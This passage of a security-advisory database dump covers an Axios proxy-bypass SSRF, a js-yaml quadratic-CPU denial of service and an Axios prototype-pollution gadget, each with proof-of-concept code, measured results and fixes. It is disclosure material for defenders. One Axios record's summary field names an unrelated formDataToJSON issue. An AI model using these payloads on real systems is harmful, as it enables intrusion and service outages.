`lib/helpers/shouldBypassProxy.js`\n\n**`isIPv4Loopback` (lines 3-8):** Only checks for `127.x.x.x` addresses by inspecting `parts[0] !== \u0027127\u0027`. The `0.0.0.0` address has `parts[0] === \u00270\u0027`, so it falls through as non-loopback, even though on Linux `0.0.0.0` routes to the loopback interface.\n\n**`isIPv6Loopback` (lines 10-38):** Only checks `host === \u0027::1\u0027`. The `::` address (unspecified IPv6) also routes to the loopback, but is not recognised.\n\n**Attack Flow:**\n```\nisIPv4Loopback (line 3) \u2014 fails for 0.0.0.0\n \u2192 isLoopback (line 44) \u2014 wraps both checks, returns false\n \u2192 shouldBypassProxy (line 127) \u2014 PUBLIC API, exported default\n \u2192 lib/adapters/http.js (line 190) \u2014 Node.js HTTP adapter\n```\n\n### Attack Vector\n- **Access Vector:** Network (AV:N)\n- **Access Complexity:** Low (AC:L) \u2014 attacker only needs control of a URL\n- **Privileges Required:** None (PR:N)\n- **User Interaction:** None (UI:N)\n\n## 3. Proof of Concept\n\n### Phase 1: Logic Verification\n\n```javascript\nimport shouldBypassProxy from \u0027axios/lib/helpers/shouldBypassProxy.js\u0027;\n\n// Normal loopback \u2014 correctly returns true (bypasses proxy)\nshouldBypassProxy(\u0027http://127.0.0.1:9999/\u0027); // \u2192 true\n\n// Vulnerable \u2014 returns false (goes through proxy!)\nshouldBypassProxy(\u0027http://0.0.0.0:9999/\u0027); // \u2192 false \u2190 SSRF\nshouldBypassProxy(\u0027http://[::]:9999/\u0027); // \u2192 false \u2190 SSRF\nshouldBypassProxy(\u0027http://[::ffff:0.0.0.0]:9999/\u0027); // \u2192 false \u2190 SSRF\n```\n\n### Phase 2: Docker E2E Reproduction\n\nA full 3-container Docker reproduction was created and tested:\n\n- **Proxy container:** Simple HTTP forward proxy on port 8888\n- **Internal container:** Internal service on port 9999 (simulates sensitive internal resource)\n- **Attacker container:** Runs the test script with Axios source mounted\n\n**Reproduction steps:**\n```bash\ncd /tmp/deep-e2e\ndocker compose up -d\ndocker compose exec attacker node test-ssrf.js\n```\n\n**Results:**\n- Test 1: `127.0.0.1 + NO_PROXY=localhost` \u2192 BYPASS (correct) \n- Test 2: `0.0.0.0 + NO_PROXY=localhost` \u2192 VIA_PROXY (SSRF) \n- Test 3: `[::] + NO_PROXY=localhost` \u2192 VIA_PROXY (SSRF) \n- Test 4: `[::ffff:0.0.0.0] + NO_PROXY=localhost` \u2192 VIA_PROXY (SSRF) \n\n### Phase 3: Actual Axios Client\n\nThe real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:\n- Axios with `proxy: { host: \u0027proxy\u0027, port: 8888 }` \n- Setting `NO_PROXY=localhost` and requesting `http://0.0.0.0:9999/`\n- Result: Axios forwarded the request through the proxy instead of bypassing it\n\n## 4. Impact\n\n### Attack Scenario\n1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)\n2. The Axios client is configured with a proxy (e.g., corporate proxy) and `NO_PROXY=localhost` to protect internal services\n3. Attacker supplies `http://0.0.0.0:8080/admin` as the target URL\n4. Axios sends the request through the proxy\n5. The proxy resolves `0.0.0.0` \u2192 the proxy\u0027s own loopback \u2192 reaches the internal admin service on port 8080\n\n### Potential Consequences\n- **Information disclosure (C:L):** Internal service responses become accessible\n- **Integrity impact (I:L):** Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)\n- **Availability impact (A:L):** Limited \u2014 depends on internal service behavior\n\n### Likelihood\n- **High** \u2014 proxy bypass is a common pattern in microservice architectures\n- **Medium** \u2014 requires attacker control of a URL (not always available)\n\n## 5. Remediation\n\n### Code Fix\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\nfunction isIPv4Loopback(host) {\n if (host === \u00270.0.0.0\u0027) return true; // ADD THIS LINE\n const parts = host.split(\u0027.\u0027);\n if (parts.length !== 4) return false;\n if (parts[0] !== \u0027127\u0027) return false;\n return parts.every(p =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n}\n\nfunction isIPv6Loopback(host) {\n if (host === \u0027::1\u0027 || host === \u0027::\u0027) return true; // ADD \u0027::\u0027\n // ... rest of implementation\n}\n```\n\n### Workarounds\n- Add `0.0.0.0` and `::` to the `NO_PROXY` environment variable explicitly\n- Use `127.0.0.1` instead of `0.0.0.0` in all internal service URLs\n- Implement URL validation to reject `0.0.0.0` and `::` before passing to Axios",
"id": "GHSA-42h9-826w-cgv3",
"modified": "2026-07-20T17:58:59Z",
"published": "2026-07-20T17:58:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11001"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.33.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service"
}
GHSA-5P4M-2WFM-XMQJ
Vulnerability from github – Published: 2026-08-06 20:27 – Updated: 2026-08-06 20:27Quadratic CPU consumption in !!omap resolution (js-yaml 3.x and 4.x)
Summary
resolveYamlOmap() enforces key uniqueness for !!omap sequences with a linear
scan (objectKeys.indexOf(...)) inside the per-element loop, making resolution
O(n²) in the number of entries. A modestly sized YAML document therefore
consumes disproportionate CPU inside yaml.load(), giving a denial of service
against any consumer that parses untrusted YAML.
!!omap is registered in the default schema
(lib/schema/default.js → require('../type/omap')), so a plain
yaml.load(untrustedInput) with no options is affected — no custom schema or
non-default configuration is required.
This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation.
Affected versions
| Line | Latest tested | Status |
|---|---|---|
| 3.x | 3.15.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:29 |
| 4.x | 4.3.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:30 |
| 5.x | 5.2.2 | Not affected — fixed in 5.2.1 (uses a Set) |
Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue.
Details
lib/type/omap.js (js-yaml 4.3.0):
if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false
objectKeys grows by one element per entry, and Array.prototype.indexOf is a
linear scan, so resolving an n-entry !!omap performs roughly
1 + 2 + … + n comparisons — quadratic in n. The work happens synchronously
inside yaml.load(), blocking the event loop for its whole duration.
The 5.x line already solves exactly this by tracking seen keys in a Set
(src/tag/sequence/omap.ts):
if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)
Proof of concept
// poc.js — node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';
for (const n of [10000, 20000, 40000, 80000]) {
const d = doc(n), t = Date.now();
yaml.load(d); // default schema, no options
console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}
Measured (node v20.20.2, default heap, no flags)
js-yaml 4.3.0
n=10000 bytes=137787 load=54ms
n=20000 bytes=297787 load=169ms
n=40000 bytes=617787 load=646ms
n=80000 bytes=1257787 load=2607ms
js-yaml 3.15.0
n=10000 bytes=137787 load=53ms
n=20000 bytes=297787 load=166ms
n=40000 bytes=617787 load=641ms
n=80000 bytes=1257787 load=2567ms
Runtime grows by a factor of ~4 for each doubling of n, which is the
signature of O(n²) (linear growth would be ~2×).
Scaling further: a 2.48 MB document with 150,000 entries blocked
yaml.load() for 10.8 seconds.
Impact
Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request.
Suggested severity: consistent with CVE-2026-59870 (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required.
Suggested fix
Mirror the 5.x fix — replace the linear scan with a Set:
// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)
This preserves the existing duplicate-key rejection semantics exactly while
making resolution O(n). A maxOmapLength-style cap would also work, but the
Set matches what 5.x already ships and requires no new option.
References
- CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1
lib/type/omap.js(3.x, 4.x) — the affected resolverlib/schema/default.js— registers!!omapin the default schema
Discovery
Found by an automated static-analysis and executed-proof-of-concept scanner run against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by executing the proof of concept above. All timings in this report were measured on the current releases of each line, not on the version originally scanned.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.3.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-06T20:27:32Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x)\n\n## Summary\n\n`resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear\nscan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution\n**O(n\u00b2)** in the number of entries. A modestly sized YAML document therefore\nconsumes disproportionate CPU inside `yaml.load()`, giving a denial of service\nagainst any consumer that parses untrusted YAML.\n\n`!!omap` is registered in the **default schema**\n(`lib/schema/default.js` \u2192 `require(\u0027../type/omap\u0027)`), so a plain\n`yaml.load(untrustedInput)` with no options is affected \u2014 no custom schema or\nnon-default configuration is required.\n\n**This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was\nfixed in the 5.x line in 5.2.1. That fix was never backported: both currently\nmaintained legacy lines still carry the original implementation.\n\n## Affected versions\n\n| Line | Latest tested | Status |\n|---|---|---|\n| 3.x | **3.15.0** | Affected \u2014 `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` |\n| 4.x | **4.3.0** | Affected \u2014 `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` |\n| 5.x | 5.2.2 | **Not affected** \u2014 fixed in 5.2.1 (uses a `Set`) |\n\nBoth figures are the newest release of each line at the time of writing, so\nthis is not a \"you are on an old version\" issue.\n\n## Details\n\n`lib/type/omap.js` (js-yaml 4.3.0):\n\n```js\nif (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)\nelse return false\n```\n\n`objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a\nlinear scan, so resolving an `n`-entry `!!omap` performs roughly\n`1 + 2 + \u2026 + n` comparisons \u2014 quadratic in `n`. The work happens synchronously\ninside `yaml.load()`, blocking the event loop for its whole duration.\n\nThe 5.x line already solves exactly this by tracking seen keys in a `Set`\n(`src/tag/sequence/omap.ts`):\n\n```ts\nif (carrier.seen.has(key)) return \u0027duplicate key in ordered map\u0027\ncarrier.seen.add(key)\n```\n\n## Proof of concept\n\n```js\n// poc.js \u2014 node poc.js\nconst yaml = require(\u0027js-yaml\u0027);\nconst doc = n =\u003e \u0027!!omap\\n\u0027 + Array.from({length: n}, (_, i) =\u003e `- k${i}: ${i}`).join(\u0027\\n\u0027) + \u0027\\n\u0027;\n\nfor (const n of [10000, 20000, 40000, 80000]) {\n const d = doc(n), t = Date.now();\n yaml.load(d); // default schema, no options\n console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);\n}\n```\n\n### Measured (node v20.20.2, default heap, no flags)\n\n**js-yaml 4.3.0**\n\n```\nn=10000 bytes=137787 load=54ms\nn=20000 bytes=297787 load=169ms\nn=40000 bytes=617787 load=646ms\nn=80000 bytes=1257787 load=2607ms\n```\n\n**js-yaml 3.15.0**\n\n```\nn=10000 bytes=137787 load=53ms\nn=20000 bytes=297787 load=166ms\nn=40000 bytes=617787 load=641ms\nn=80000 bytes=1257787 load=2567ms\n```\n\nRuntime grows by a factor of ~4 for each doubling of `n`, which is the\nsignature of O(n\u00b2) (linear growth would be ~2\u00d7).\n\nScaling further: a **2.48 MB** document with 150,000 entries blocked\n`yaml.load()` for **10.8 seconds**.\n\n## Impact\n\nAny service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be\nstalled with a small input. Because the loop is synchronous, a single request\nblocks the Node.js event loop and stalls every other request in the process \u2014\nso the amplification is per-process, not just per-request.\n\nSuggested severity: consistent with **CVE-2026-59870** (the same weakness in\n5.x), i.e. Availability-only impact, network attack vector, no privileges or\nuser interaction required.\n\n## Suggested fix\n\nMirror the 5.x fix \u2014 replace the linear scan with a `Set`:\n\n```js\n// lib/type/omap.js\nconst seen = new Set()\n// ...\nif (seen.has(pairKey)) return false\nseen.add(pairKey)\n```\n\nThis preserves the existing duplicate-key rejection semantics exactly while\nmaking resolution O(n). A `maxOmapLength`-style cap would also work, but the\n`Set` matches what 5.x already ships and requires no new option.\n\n## References\n\n- CVE-2026-59870 / GHSA-724g-mxrg-4qvm \u2014 same weakness in 5.0.0\u20135.2.0, fixed in 5.2.1\n- `lib/type/omap.js` (3.x, 4.x) \u2014 the affected resolver\n- `lib/schema/default.js` \u2014 registers `!!omap` in the default schema\n\n## Discovery\n\nFound by an automated static-analysis and executed-proof-of-concept scanner run\nagainst js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by\nexecuting the proof of concept above. All timings in this report were measured\non the **current** releases of each line, not on the version originally scanned.",
"id": "GHSA-5p4m-2wfm-xmqj",
"modified": "2026-08-06T20:27:32Z",
"published": "2026-08-06T20:27:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-5p4m-2wfm-xmqj"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodeca/js-yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) \u2014 CVE-2026-59870 fix not backported"
}
GHSA-7Q8Q-RJ6J-MHJQ
Vulnerability from github – Published: 2026-07-20 22:37 – Updated: 2026-07-20 22:37Summary
Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted Object.prototype.
The top-level merged config is protected with a null prototype, but nested plain objects such as auth and paramsSerializer are cloned into ordinary objects. If application code passes placeholders such as auth: {} or paramsSerializer: {}, inherited username, password, encode, or serialize properties can influence outbound requests.
Impact
This is reachable only when another component has already polluted Object.prototype and the application passes an affected nested axios option object.
Confirmed impacts include silent injection of an Authorization: Basic ... header from inherited username and password values, and query-string tampering when inherited paramsSerializer fields are function-valued.
The auth case requires only string-valued pollution. Full query-string replacement through paramsSerializer.serialize requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through encode.
This does not mean every axios request is affected. Requests that do not pass auth, do not pass paramsSerializer, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.
Affected Functionality
Affected runtime functionality:
- Node HTTP adapter Basic auth handling in
lib/adapters/http.js. - Browser/fetch/XHR Basic auth handling through
lib/helpers/resolveConfig.js. - Query serialization through
lib/helpers/buildURL.js. axios.getUri()when called with an affectedparamsSerializerobject.
Affected config shapes:
auth: {}or anauthobject missing ownusernameand/orpassword.paramsSerializer: {}or aparamsSerializerobject missing ownencodeand/orserialize.
Unaffected by this specific issue:
- Requests with no
authproperty. - Requests with no
paramsSerializerproperty. - Top-level polluted
authorparamsSerializervalues in current hardened versions.
Technical Details
lib/core/mergeConfig.js creates the top-level merged config with Object.create(null), but nested object cloning still uses ordinary {} containers:
} else if (utils.isPlainObject(source)) {
return utils.merge({}, source);
}
Downstream code then reads nested fields without own-property checks.
In lib/helpers/resolveConfig.js:
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
In lib/adapters/http.js:
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
In lib/helpers/buildURL.js:
const _encode = (options && options.encode) || encode;
const serializeFn = _options && _options.serialize;
Proof of Concept of Attack
import http from 'node:http';
import axios from './index.js';
const user = 'attacker';
const pass = 'exfil';
Object.defineProperty(Object.prototype, 'username', {
value: user,
configurable: true
});
Object.defineProperty(Object.prototype, 'password', {
value: pass,
configurable: true
});
Object.defineProperty(Object.prototype, 'serialize', {
value: () => 'polluted=1',
configurable: true
});
const server = http.createServer((req, res) => {
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({
authorization: req.headers.authorization || null,
url: req.url
}));
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
try {
const port = server.address().port;
const response = await axios.get(`http://127.0.0.1:${port}/demo`, {
auth: {},
paramsSerializer: {},
params: { unused: 'ignored' }
});
console.log(response.data);
} finally {
await new Promise((resolve) => server.close(resolve));
delete Object.prototype.username;
delete Object.prototype.password;
delete Object.prototype.serialize;
}
Observed result:
{
"authorization": "Basic YXR0YWNrZXI6ZXhmaWw=",
"url": "/demo?polluted=1"
}
Workarounds
If upgrading is not yet possible, avoid passing placeholder nested option objects.
Remove auth entirely when Basic auth is not intended. For paramsSerializer objects, provide explicit own encode and serialize properties or remove paramsSerializer when custom serialization is not required.
These workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.
Original Report ### Summary axios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. ### Details mergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers: mergeConfig.js Lines 36-45 function getMergedValue(target, source, prop, caseless) {
if (utils.isPlainObject(target) && utils.isPlainObject(source)) {
return utils.merge.call({ caseless }, target, source);
} else if (utils.isPlainObject(source)) {
return utils.merge({}, source);
} else if (utils.isArray(source)) {
return source.slice();
}
return source;
}
The cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:
Browser / fetch Basic auth — lib/helpers/resolveConfig.js:
resolveConfig.js Lines 64-70
if (auth) {
headers.set(
'Authorization',
'Basic ' +
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
);
}
Node HTTP adapter Basic auth — lib/adapters/http.js:
http.js Lines 829-836
// HTTP basic authentication
let auth = undefined;
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
paramsSerializer reads — lib/helpers/buildURL.js:
buildURL.js Lines 31-54
export default function buildURL(url, params, options) {
if (!params) {
return url;
}
const _encode = (options && options.encode) || encode;
const _options = utils.isFunction(options)
? {
serialize: options,
}
: options;
const serializeFn = _options && _options.serialize;
let serializedParams;
if (serializeFn) {
serializedParams = serializeFn(params, _options);
} else {
serializedParams = utils.isURLSearchParams(params)
? params.toString()
: new AxiosURLSearchParams(params, _options).toString(_encode);
}
Because auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.
The auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.
### PoC
import http from 'node:http';
import axios from '../../index.js';
const ATTACKER_USER = 'attacker';
const ATTACKER_PASS = 'exfil';
const ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');
// Step 1: simulate a pre-existing prototype-pollution primitive in this process.
// In reality, a separate dependency would have done this. We keep the
// "polluted" properties non-enumerable so they only affect inherited reads,
// which is the realistic shape of most prototype-pollution gadgets.
Object.defineProperty(Object.prototype, 'username', {
value: ATTACKER_USER,
configurable: true,
});
Object.defineProperty(Object.prototype, 'password', {
value: ATTACKER_PASS,
configurable: true,
});
Object.defineProperty(Object.prototype, 'serialize', {
value: () => 'polluted=1',
configurable: true,
});
// Local capture server.
const server = http.createServer((req, res) => {
const captured = {
authorization: req.headers['authorization'] || null,
url: req.url,
};
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify(captured));
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;
try {
// Application code: passes nested *placeholder* option objects that have
// no own auth/serializer properties. Without prototype pollution this is
// a no-op. With prototype pollution it becomes attacker-controlled state.
const response = await axios.get(`http://127.0.0.1:${port}/demo`, {
auth: {},
paramsSerializer: {},
params: { unused: 'ignored-by-polluted-serializer' },
});
console.log('--- PoC: nested-option prototype-pollution gadgets ---');
console.log('Server saw:', JSON.stringify(response.data));
const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;
const urlRewritten = response.data.url === '/demo?polluted=1';
if (authLeaked && urlRewritten) {
console.log(
'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +
'Object.prototype values into the outbound request.'
);
process.exitCode = 0;
} else {
console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');
console.log(' authLeaked =', authLeaked);
console.log(' urlRewritten =', urlRewritten);
process.exitCode = 1;
}
} finally {
server.close();
// Restore Object.prototype so a noisy exit/process state cannot affect
// anything else accidentally sharing the runtime.
delete Object.prototype.username;
delete Object.prototype.password;
delete Object.prototype.serialize;
}
### Impact
Concrete consequences:
- Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.
- Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.0"
},
{
"fixed": "0.33.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:37:31Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAxios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted `Object.prototype`.\n\nThe top-level merged config is protected with a null prototype, but nested plain objects such as `auth` and `paramsSerializer` are cloned into ordinary objects. If application code passes placeholders such as `auth: {}` or `paramsSerializer: {}`, inherited `username`, `password`, `encode`, or `serialize` properties can influence outbound requests.\n\n## Impact\n\nThis is reachable only when another component has already polluted `Object.prototype` and the application passes an affected nested axios option object.\n\nConfirmed impacts include silent injection of an `Authorization: Basic ...` header from inherited `username` and `password` values, and query-string tampering when inherited `paramsSerializer` fields are function-valued.\n\nThe `auth` case requires only string-valued pollution. Full query-string replacement through `paramsSerializer.serialize` requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through `encode`.\n\nThis does not mean every axios request is affected. Requests that do not pass `auth`, do not pass `paramsSerializer`, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.\n\n## Affected Functionality\n\nAffected runtime functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser/fetch/XHR Basic auth handling through `lib/helpers/resolveConfig.js`.\n- Query serialization through `lib/helpers/buildURL.js`.\n- `axios.getUri()` when called with an affected `paramsSerializer` object.\n\nAffected config shapes:\n\n- `auth: {}` or an `auth` object missing own `username` and/or `password`.\n- `paramsSerializer: {}` or a `paramsSerializer` object missing own `encode` and/or `serialize`.\n\nUnaffected by this specific issue:\n\n- Requests with no `auth` property.\n- Requests with no `paramsSerializer` property.\n- Top-level polluted `auth` or `paramsSerializer` values in current hardened versions.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates the top-level merged config with `Object.create(null)`, but nested object cloning still uses ordinary `{}` containers:\n\n```js\n} else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n}\n```\n\nDownstream code then reads nested fields without own-property checks.\n\nIn `lib/helpers/resolveConfig.js`:\n\n```js\nbtoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n```\n\nIn `lib/adapters/http.js`:\n\n```js\nconst username = configAuth.username || \u0027\u0027;\nconst password = configAuth.password || \u0027\u0027;\nauth = username + \u0027:\u0027 + password;\n```\n\nIn `lib/helpers/buildURL.js`:\n\n```js\nconst _encode = (options \u0026\u0026 options.encode) || encode;\nconst serializeFn = _options \u0026\u0026 _options.serialize;\n```\n\n## Proof of Concept of Attack\n\n```js\nimport http from \u0027node:http\u0027;\nimport axios from \u0027./index.js\u0027;\n\nconst user = \u0027attacker\u0027;\nconst pass = \u0027exfil\u0027;\n\nObject.defineProperty(Object.prototype, \u0027username\u0027, {\n value: user,\n configurable: true\n});\n\nObject.defineProperty(Object.prototype, \u0027password\u0027, {\n value: pass,\n configurable: true\n});\n\nObject.defineProperty(Object.prototype, \u0027serialize\u0027, {\n value: () =\u003e \u0027polluted=1\u0027,\n configurable: true\n});\n\nconst server = http.createServer((req, res) =\u003e {\n res.writeHead(200, { \u0027content-type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify({\n authorization: req.headers.authorization || null,\n url: req.url\n }));\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n\ntry {\n const port = server.address().port;\n const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n auth: {},\n paramsSerializer: {},\n params: { unused: \u0027ignored\u0027 }\n });\n\n console.log(response.data);\n} finally {\n await new Promise((resolve) =\u003e server.close(resolve));\n delete Object.prototype.username;\n delete Object.prototype.password;\n delete Object.prototype.serialize;\n}\n```\n\nObserved result:\n\n```json\n{\n \"authorization\": \"Basic YXR0YWNrZXI6ZXhmaWw=\",\n \"url\": \"/demo?polluted=1\"\n}\n```\n\n## Workarounds\n\nIf upgrading is not yet possible, avoid passing placeholder nested option objects.\n\nRemove `auth` entirely when Basic auth is not intended. For `paramsSerializer` objects, provide explicit own `encode` and `serialize` properties or remove `paramsSerializer` when custom serialization is not required.\n\nThese workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\naxios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. \n\n### Details\nmergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:\n\nmergeConfig.js Lines 36-45\n\n```\n function getMergedValue(target, source, prop, caseless) {\n if (utils.isPlainObject(target) \u0026\u0026 utils.isPlainObject(source)) {\n return utils.merge.call({ caseless }, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n```\n\nThe cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:\n\nBrowser / fetch Basic auth \u2014 lib/helpers/resolveConfig.js:\nresolveConfig.js Lines 64-70\n```\n if (auth) {\n headers.set(\n \u0027Authorization\u0027,\n \u0027Basic \u0027 +\n btoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n );\n }\n```\n\nNode HTTP adapter Basic auth \u2014 lib/adapters/http.js:\nhttp.js Lines 829-836\n```\n // HTTP basic authentication\n let auth = undefined;\n const configAuth = own(\u0027auth\u0027);\n if (configAuth) {\n const username = configAuth.username || \u0027\u0027;\n const password = configAuth.password || \u0027\u0027;\n auth = username + \u0027:\u0027 + password;\n }\n```\n\nparamsSerializer reads \u2014 lib/helpers/buildURL.js:\nbuildURL.js Lines 31-54\n```\nexport default function buildURL(url, params, options) {\n if (!params) {\n return url;\n }\n const _encode = (options \u0026\u0026 options.encode) || encode;\n const _options = utils.isFunction(options)\n ? {\n serialize: options,\n }\n : options;\n const serializeFn = _options \u0026\u0026 _options.serialize;\n let serializedParams;\n if (serializeFn) {\n serializedParams = serializeFn(params, _options);\n } else {\n serializedParams = utils.isURLSearchParams(params)\n ? params.toString()\n : new AxiosURLSearchParams(params, _options).toString(_encode);\n }\n```\n\nBecause auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.\n\nThe auth sink is the primary impact (silent Basic-auth injection); 